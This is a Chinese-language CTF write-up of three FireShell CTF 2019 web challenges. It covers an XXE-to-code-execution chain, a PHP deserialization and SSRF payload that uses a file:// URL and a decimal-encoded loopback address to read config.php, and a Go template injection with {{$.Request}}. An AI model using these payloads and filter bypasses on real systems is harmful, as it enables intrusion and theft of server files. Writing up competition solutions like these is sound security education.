FireShell CTF 2019 WriteUp Web部分 #### Bad Injections 根据URL可以猜测存在任意文件下载漏洞并且hash值为file的md5加密,根据提示下载源码 ![](http://www.lovei.org/usr/uploads/2019/01/1698807088.png) 在路由文件中发现几个关键点 ![](http://www.lovei.org/usr/uploads/2019/01/346585287.png) ![](http://www.lovei.org/usr/uploads/2019/01/1115540617.png) 跟进这个类发现存在XXE ![](http://www.lovei.org/usr/uploads/2019/01/1855950269.png) 这里想到还有一个只能通过SSRF才能访问到的admin,于是跟进admin文件发现存在代码执行 ![](http://www.lovei.org/usr/uploads/2019/01/65423396.png) 于是想到利用XXE来构造这个代码执行,这里要注意的是服务器出现 `} `就会报`parser error : Invalid URI`,所以我们需要编码一下。最终payload ``` ]> &xxe; ``` ![](http://www.lovei.org/usr/uploads/2019/01/3168236559.png) #### Vice 题目思路应该蛮明确反序列+SSRF,这里有几个限制所以我们使用file协议读文件,`127.0.0.2`绕过`127.0.0.1`的检测,然后将ip十进制编码绕过`.`检测最后进入URL编码 ![](http://www.lovei.org/usr/uploads/2019/01/746529008.png) ``` method = "doit"; $this->url = "file://2130706434/var/www/html/config%2ephp"; } } $a = new SHITS(); echo urlencode(serialize($a)); ?> ``` 最终payload: ``` http://68.183.31.62:991/?gg=O%3A5%3A%22SHITS%22%3A2%3A%7Bs%3A10%3A%22%00SHITS%00url%22%3Bs%3A43%3A%22file%3A%2F%2F2130706434%2Fvar%2Fwww%2Fhtml%2Fconfig%252ephp%22%3Bs%3A13%3A%22%00SHITS%00method%22%3Bs%3A4%3A%22doit%22%3B%7D ``` ![](http://www.lovei.org/usr/uploads/2019/01/2564134502.png) #### Super-easy web dog 这道题一开始没做出来,最后知道真相的我眼泪掉下来 ![](http://www.lovei.org/usr/uploads/2019/01/1172651468.png) 看到这个之后果断跑去题目试了`{{$.Request}} ` 然后???然后这就出来了?眼泪掉了下来 ![](http://www.lovei.org/usr/uploads/2019/01/1465554515.png)
话说,你这个博客很好看